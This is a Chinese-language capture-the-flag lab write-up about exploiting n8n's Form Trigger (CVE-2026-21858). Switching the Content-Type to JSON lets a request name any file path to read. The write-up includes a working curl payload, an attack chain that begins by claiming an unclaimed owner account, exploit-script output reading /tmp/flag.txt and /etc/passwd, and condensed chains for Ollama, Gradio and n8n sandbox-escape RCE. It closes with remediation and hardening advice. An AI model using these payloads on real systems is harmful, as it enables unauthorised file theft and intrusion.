| 类型 | 未授权任意文件读取(Content-Type 混淆 CWE-436 / 路径穿越 CWE-22) |
| CVSS | 10.0(Critical) |
| 结果 | flag{...}(/tmp/flag.txt) |
⚠️ 两个 CVE 的关系 :本题只用到 CVE-2026-21858(任意文件读取) 。 CVE-2025-68613(表达式沙箱逃逸 RCE)是公开完整链上"读到文件之后升级成 RCE"的那一环。 本题 flag 直接躺在
/tmp/flag.txt,一步读完就结束,用不上第二环。
📚 4.1 前置知识
(1)n8n Form Trigger 与 Webhook
表单触发器(n8n-nodes-base.formTrigger)让用户在浏览器填表,提交后数据流进工作流。 它对应两个 webhook:
| webhook | 方法 | 作用 |
|---|---|---|
setup |
GET | 渲染表单页面 |
default |
POST | 接收提交的数据 |
表单 URL 的来源很关键:
path: '={{ $parameter["path"] || $parameter["options"]?.path || $webhookId }}'
URL 路径 = path → 没有就取 options.path → 再没有就回退到 $webhookId 。 而且 typeVersion ≥ 2.2 时,path 参数被移进了 options.path 。 所以用 API 建表单时,URL 可能悄悄变成 /form/<webhookId>。
文件上传字段是 formFields.values[],其中 fieldType: "file" 就是文件上传。 有文件上传,才有后面那段读文件的代码。
(2)Content-Type 与"解析器分派"
这是本题根因,也是最值得带走的一条通用经验。 同一个 HTTP 请求,Content-Type 决定服务端用哪套解析器:
| Content-Type | n8n 走的解析器 | 上传文件落到哪 |
|---|---|---|
multipart/form-data |
Formidable | 随机临时路径(安全) |
application/json |
parseBody() |
直接把 JSON body 塞进 req.body(完全可控) |
关键在于:安全校验只长在其中一条代码路径上。 Formidable 那条路自己会把文件写到随机路径,天然免疫路径控制; 而 JSON 那条路完全信任请求体 ,files 对象里的 filepath 就变成了"想读什么就读什么"。
通用经验 :看到"同一份数据、两套解析器",就该怀疑------ Content-Type 是不是一道用一个 Header 就能跨过去的门? 这类漏洞(CWE-436)在文件上传、反序列化场景里非常常见。
(3)n8n 的执行数据模型
读到的文件不在 HTTP 响应里 ,而是作为 binary 数据挂在 item 上:
item.binary["file"] = { data: "<base64>", mimeType: "...", fileName: "..." }
binaryDataMode 决定存哪:default(小文件内联在 execution 数据里)或 filesystem(写磁盘)。
execution.data 是扁平化数组:
[0] {"version":1,"startData":"1","resultData":"2",...}
[2] {"runData":"6"}
[6] {"Form":[...]} ← 真实数据在这里
形如 "resultData":"2" 的字符串是指向数组下标的引用 。 直接按 data.resultData.runData... 读会拿到 "6",必须先展开引用 (unflatten())。
通用经验:看到"值是字符串数字、而且数字刚好是数组下标", 基本可以断定这是某种引用式压缩格式。
(4)实例状态与身份
GET /rest/settings 是公开的。其中 userManagement.showSetupOnFirstLoad: true 意味着实例还没有 owner 账号,任何人可以:
POST /rest/owner/setup
{"email":"...","firstName":"...","lastName":"...","password":"..."}
直接给自己创建一个 global:owner。
这不是漏洞,而是 n8n 的正常首次初始化流程。 但在靶场 / 未加固部署里,它等于把管理员权限白白送人 。 永远先看目标实际状态,再判断"需不需要认证"。
另外,登录参数在版本间会变:emailOrLdapLoginId(新版本)或 email(如 1.65.0), 写脚本时两个都试最稳。
🔍 4.2 漏洞原理
n8n 的 Form 触发器用 Formidable 处理 multipart/form-data 时会把上传文件存到随机临时路径。 但把 Content-Type 换成 application/json 后,走的是另一套 parseBody(), 于是 req.body.files 变成攻击者完全可控的对象:
// packages/nodes-base/nodes/Form/utils.ts (n8n 1.65.0)
const bodyData = (context.getBodyData().data as IDataObject) ?? {};
const files = (context.getBodyData().files as IDataObject) ?? {}; // ← JSON body 可直接填充
for (const key of Object.keys(files)) {
...
returnItem.binary![binaryPropertyName] = await context.nodeHelpers.copyBinaryFile(
file.filepath, // ← 完全可控,直接读该路径
file.originalFilename ?? file.newFilename,
file.mimetype,
);
}
注意:filepath 直接吃绝对路径,不需要任何 ../ 穿越。 读到的内容作为 binary 数据挂在 item 上,不再有任何路径校验。
🛠️ 4.3 利用过程
先纠正四个错误方向
这道题不是"多接口 × 多层 ../ × 多种编码"的爆破题:
| 常见误判 | 实测结果 |
|---|---|
/rest/files/download?path= |
404 路由不存在 |
/rest/workflows/download?file= |
401 需认证 |
/rest/credentials/download?file= |
401 需认证 |
/rest/executions/download?file= |
401 需认证 |
/rest/data/download?path= |
404 路由不存在 |
三点纠正:
-
不在
/rest/下 。漏洞点在 Form Webhook(/form/...)。 -
不需要
../,也不需要 URL 编码 。filepath直接吃绝对路径。 -
不是"构造请求参数",而是"换一个 Header"。攻击面是 Content-Type。
本题的特殊之处:靶场里没有现成的表单
GET /rest/settings 显示未认领;认领后 GET /rest/workflows 返回 count = 0 。 没有表单,就没有触发点。 所以完整链必须先把表单造出来:
① POST /rest/owner/setup 认领实例,自建 owner(靶场是空的)
│
② 建 Form Trigger 工作流(含一个 file 字段)并 PATCH active:true
│ ← 这一步"造出有漏洞的表单"
③ POST /form/<webhookId> + Content-Type: application/json
├─ data.files 由我们控制
└─ files.field-0.filepath = /tmp/flag.txt ← 直接读,无需 ../
│
④ GET /rest/executions/{id}?unflattened=true&includeData=true
→ unflatten → binary["file"].data → base64 解码 → 拿到内容
现实中的利用不需要 ①②:任何公网可访问、带文件上传字段的 n8n 表单, 都能被 ③ 一步打穿。①② 只是"空靶场"造成的额外步骤。
最终 Payload
curl -X POST "http://<靶场地址>:<端口>/form/<webhookId>" \
-H "Content-Type: application/json" \
-d '{"data":{},"files":{"field-0":{"filepath":"/tmp/flag.txt",
"originalFilename":"a.bin","mimetype":"text/plain","size":999}}}'
响应只是 {"status":200}------文件内容不在响应里,它在执行记录的 binary 字段中。
为什么 CVE-2025-68613 本题用不上
公开完整链(Chocapikk PoC):
任意文件读 → 读 ~/.n8n/config 拿加密密钥 + database.sqlite 拿密码哈希
→ 伪造 admin token → CVE-2025-68613 表达式注入 → RCE
后半段全部是为了"绕过认证、拿到管理员、再升级到命令执行"。 本题实例根本未被认领 (自己建 owner 就行),且 flag 就是 /tmp/flag.txt, 所以 ③ 一步到底,第二环完全不需要。
复现命令与实测输出
python exploit.py # 全自动,默认读 /tmp/flag.txt
python exploit.py --file /etc/passwd # 读其它文件
python exploit.py --list # 只看当前工作流/表单地址
[0] n8n 版本 = 1.65.0
[0] 受影响(<1.121.0): True
[1] POST /rest/login (email) -> 200
[2] 已创建并激活表单工作流 id=bK90FcJrdzx4bEDU
[2] 表单地址 = http://<靶场地址>:<端口>/form/60db1c96-eb73-4d8e-8c42-c6e54630545c
[3] POST /form/60db1c96-... (Content-Type: application/json) -> 200
[4] 从 binary 字段 'file' 取回 39 字节
[+] FLAG : flag{...}
🧪 4.4 排错表
| 现象 | 含义 / 解法 |
|---|---|
/form/<path> 404 |
表单 URL 是 /form/<webhookId> 。typeVersion ≥ 2.2 时 path 移入 options.path,表达式回退到 $webhookId |
工作流 active:true 但 webhook 不生效 |
POST 创建时带 active:true 不会注册 webhook ,必须再 PATCH /rest/workflows/{id} 一次 |
POST /rest/login 返回 500 Email is required to log in |
1.65.0 的登录字段是 email ,emailOrLdapLoginId 是新版本才引入的 |
表单只回 {"status":200} |
正常。onReceived 只回状态;lastNode 也只回 JSON、不回 binary。内容必须从执行记录取 |
Code 节点报 Could not get parameter |
Code 节点沙箱里没有 Buffer,别指望用它回显文件内容 |
执行记录的 data 是 "resultData":"2" |
扁平化数组,字符串数字是指向下标的引用,必须展开 |
报错 stat 'E:/Program Files/Git/etc/hostname' |
Git Bash 的路径转换 。用 MSYS_NO_PATHCONV=1、或写 //etc/hostname、或在 PowerShell 里跑。默认值 /tmp/flag.txt 不受影响(来自脚本内部,不经 shell) |
| 读回了上一次的 flag | 历史执行记录里也有同样的 binary 字段。脚本应记录当前最新 execution id,只认本次之后新产生的执行 |
🛡️ 4.5 修复与规避
| 层面 | 措施 |
|---|---|
| 升级 | n8n 升到 1.121.0+ |
| 缓解 | 不需要表单功能就关掉表单端点;不要对公网暴露 /form/* |
| 加固 | 容器内非 root;限制 ~/.n8n 权限(config 里有加密密钥,database.sqlite 里有密码哈希) |
| 监测 | 监控 /form/* 上 Content-Type 与 body 形状不匹配的请求 |
根因一句话:同一个请求体,两套解析器,其中一套完全信任输入。 Content-Type 决定了走哪条代码路径,而安全校验只长在其中一条上。
✅ 4.6 小结
-
别用"漏洞类型"去想"利用手法" :题目说"路径穿越",于是所有精力都花在
../的层数和编码上 ------但真正的入口是换一个 Header 。先读代码 / 看行为,再谈 payload。 -
Content-Type 是一道常被忽视的门:只要实现里存在"按 Content-Type 分派到不同解析器", 就存在"安全校验只覆盖其中一条路"的风险。
-
"能读到"和"能拿到"是两件事:文件确实被读进 binary 了,但它不在 HTTP 响应里, 必须理解执行数据模型(扁平化数组 + binary 字段)才能把内容带回来。
-
"需要认证"要先验证 :题目 / 公告写着"需要已认证用户",但这个实例根本没被认领。 CVE-2025-68613 那一环之所以用不上,正是因为认证这道墙本来就不存在。
🧗 六、横向复盘
6.1 四种"壳"的攻法
| 维度 | 靶场1 Ollama | 靶场2 Gradio | 靶场3 n8n Code | 靶场4 n8n Form |
|---|---|---|---|---|
| 漏洞家族 | Zip Slip(CWE-22) | 路径穿越(CWE-22) | 沙箱绕过(CWE-693) | Content-Type 混淆(CWE-436) |
| 触发点 | ZIP 解压 | /file= 读文件 |
Pyodide 执行 Python | Form webhook 解析 body |
| 校验缺陷 | 不校验条目名 | 字符串层校验 | 黑名单式删属性 | 只保护 multipart 分支 |
| 升级路径 | 写 → ld.so.preload → 执行 |
无(直接读 flag) | 宿主 realm → child_process |
无(直接读 flag) |
| 回显通道 | 模型 system blob + /api/show |
HTTP 响应体 | execution runData 的 JSON |
execution binary 的 base64 |
| 关键技巧 | manifest 取 digest | 上传目录做前缀 | pop 掉 js 桩 |
一个 Header 换解析器 |
6.2 "把结果带回来"的四种通道
| 通道 | 做法 | 适用 |
|---|---|---|
| HTTP 响应 | 让读取结果直接出现在响应体 | Gradio /file= |
| 模型数据结构 | 把结果写进模型字段,再用官方 API 读 | Ollama system blob + /api/show |
| 执行记录 JSON | 把命令输出放进 return 的 json 字段 |
n8n Code 节点 |
| 执行记录 binary | 文件被挂到 item 的 binary,base64 解码 |
n8n Form 节点 |
一条链只有把"执行"和"回显"都走通,才算真正打通。 回显通道往往比入口更难,但也是最容易被写 payload 的人忽略的一步。
6.3 四个反复出现的坑
-
"业务报错"不是"漏洞失败" :
couldn't determine model format、{"status":200}、 节点报错,都可能是链路正常的中间状态。 -
客户端会自作主张 :
requests/ 浏览器会规范化../,必须用http.client或编码绕过。 -
响应字段名是自己定的 :n8n 没有固定
stdout,先看你return了什么。 -
扁平化 / 引用式数据 :n8n 的
"resultData":"2"是数组下标,不展开就取不到真数据。
6.4 防御清单(按优先级)
-
版本:Ollama ≥ 0.1.47、Gradio ≥ 4.11.0、n8n ≥ 1.121.0 / 2.0.0。
-
网络暴露 :Ollama
11434、未鉴权 Gradio、n8n/form/*都不要直接暴露公网。 -
路径校验 :统一先
resolve()/Clean(),再做文件系统级前缀比较; ZIP 解压必须校验条目名逃逸。 -
解析器一致性:同一业务数据只允许一套解析器; 不要因为 Content-Type 不同就走两条安全等级不同的代码路径。
-
隔离 :Code / Python 执行必须用进程级隔离(task runner / 容器 / seccomp), 不要在同 realm 里"删属性"。
-
权限 :中间件以非 root 运行、只读根文件系统、
no-new-privileges。 -
首次初始化:生产部署完成后立即认领实例、创建 owner,避免"未认领"状态暴露在公网。
-
敏感文件 :flag / 密钥 / config 不要放在应用默认可达路径;监控
ld.so.preload、blobs/、manifests/、~/.n8n的异常变更。
🧾 七、总结 · 漏洞武器库
一句话复盘 :四个靶场没有一个是靠"骗模型"拿下的。 Ollama 栽在解压,Gradio 栽在读文件,n8n Code 栽在假沙箱,n8n Form 栽在请求解析------ 全部是中间件自己的代码缺陷。
通关链一句话:
-
靶场1:
blob 上传 → create 解压 → ld.so.preload + hook.so → embeddings 拉起 runner → flag hex 写回 system blob → show 读回 -
靶场2:
/upload 拿 <sha1> 目录 → /file= 穿越 → 读 /tmp/flag.txt -
靶场3:
owner/setup → 建 Code 工作流 → pop js 桩 → 宿主 Object.constructor → execSync → runData 取结果 -
靶场4:
owner/setup → 建表单 → JSON 里指定 files.filepath → 执行记录 binary 取回
最后一句话 :LLM 中间件是"AI 时代最传统的攻击面"。 模型再聪明,也拦不住一层把
../拼进路径、把filepath直接交给open()的服务代码。
📖 参考资料
Ollama / CVE-2024-45436
Gradio / CVE-2023-51449
n8n / CVE-2025-68668(N8scape)
n8n / CVE-2026-21858(Ni8mare)